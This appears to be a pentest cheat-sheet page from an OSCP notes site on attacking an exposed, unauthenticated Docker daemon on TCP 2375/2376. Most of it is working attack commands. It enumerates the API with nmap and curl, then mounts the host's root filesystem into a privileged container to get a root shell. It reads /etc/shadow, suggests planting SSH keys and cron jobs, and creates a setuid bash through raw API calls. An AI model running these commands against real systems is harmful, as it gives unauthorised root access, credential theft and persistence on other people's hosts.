📡
Docker (Tcp 2375)
Notes from oscp.adot8.com — services.
#services#adot8
source · oscp.adot8.com · services/docker-less-than-tcp-2375-greater-than ↗Docker API <tcp 2375 / 2376>
Unauthenticated Docker daemon = instant root on the host. Jackpot port.
Nmap
code
01nmap -p2375,2376,4243 --script "docker-version" -sV $ipVerify
code
01curl -s http://$ip:2375/version02curl -s http://$ip:2375/containers/json03curl -s http://$ip:2375/images/jsonPoint local docker CLI at it
code
01export DOCKER_HOST=tcp://$ip:237502docker version03docker ps -a04docker imagesEscape to host — mount / into a container
code
01docker -H tcp://$ip:2375 run --rm -it -v /:/mnt --privileged alpine chroot /mnt shYou are now root on the host. Grab /etc/shadow, drop an SSH key, add a cron job.
code
01cat /mnt/etc/shadowPure curl (no docker CLI needed)
code
01curl -s -X POST http://$ip:2375/containers/create -H "Content-Type: application/json" -d '{02 "Image":"alpine",03 "Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/rootbash; chmod +s /mnt/tmp/rootbash\""],04 "Binds":["/:/mnt"],05 "HostConfig":{"Privileged":true}06}'07curl -s -X POST http://$ip:2375/containers/<id>/startTLS (2376)
Port 2376 requires client certs. Look for ca.pem, cert.pem, key.pem on other services (NFS/SMB, exported home dirs, ~/.docker/).
code
01DOCKER_HOST=tcp://$ip:2376 DOCKER_TLS_VERIFY=1 DOCKER_CERT_PATH=./certs docker ps